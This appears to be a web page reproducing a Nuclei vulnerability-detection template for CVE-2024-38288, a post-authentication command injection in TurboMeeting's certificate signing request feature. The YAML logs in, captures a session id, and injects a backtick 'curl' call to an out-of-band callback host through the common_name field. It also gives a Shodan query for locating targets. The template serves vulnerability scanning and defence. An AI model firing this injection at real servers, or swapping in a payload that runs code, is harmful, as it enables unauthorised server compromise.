TurboMeeting - Post-Authentication Command Injection

ID: CVE-2024-38288

Severity: high

Author: rootxharsh,iamnoooob,pdresearch

Tags: cve,cve2024,rce,turbomeeting,authenticated

Description

The Certificate Signing Request (CSR) feature in the admin portal of the application is vulnerable to command injection. This vulnerability could allow authenticated admin users to execute arbitrary commands on the underlying server by injecting malicious input into the CSR generation process. The application failed to properly sanitize user-supplied input before using it in a command executed privileges.

YAML Source

id: CVE-2024-38288

info:
  name: TurboMeeting - Post-Authentication Command Injection
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: |
    The Certificate Signing Request (CSR) feature in the admin portal of the application is vulnerable to command injection. This vulnerability could allow authenticated admin users to execute arbitrary commands on the underlying server by injecting malicious input into the CSR generation process. The application failed to properly sanitize user-supplied input before using it in a command executed privileges.
  reference:
    - https://github.com/google/security-research/security/advisories/GHSA-gx6g-8mvx-3q5c
    - https://www.rhubcom.com/v5/manuals.html
  classification:
    epss-score: 0.00043
    epss-percentile: 0.09357
    cpe: cpe:2.3:a:rhubcom:turbomeeting:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"TurboMeeting"
    product: turbomeeting
    vendor: rhubcom
  tags: cve,cve2024,rce,turbomeeting,authenticated

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /as/wapi/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        next_path=%2Fas%2Fwapi%2Fprofile_entry&Email={{username}}&Password={{password}}&submit=Login

    matchers:
      - type: word
        part: body
        words:
          - "as/wapi/profile_entry?sid="
        internal: true

    extractors:
      - type: regex
        name: sid
        part: body
        group: 1
        regex:
          - 'sid=(.*?)"'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /as/wapi/generate_csr HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sid={{sid}}&common_name=1"%20out%20/dev/null"`curl%20{{interactsh-url}}`&company_name=1&state=1&city=1&country=US&submit=Generate+CSR

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - CSR
          - SSL
        condition: and

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
# digest: 490a0046304402205838282d42079c81170bf1675bf48c45b337aeeff76f3379b2b92e5dd240dfb70220402b95439cfa06c9381e447e15eddd5e9586802bf209cb133ef7f60f3540099d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-38288.yaml"

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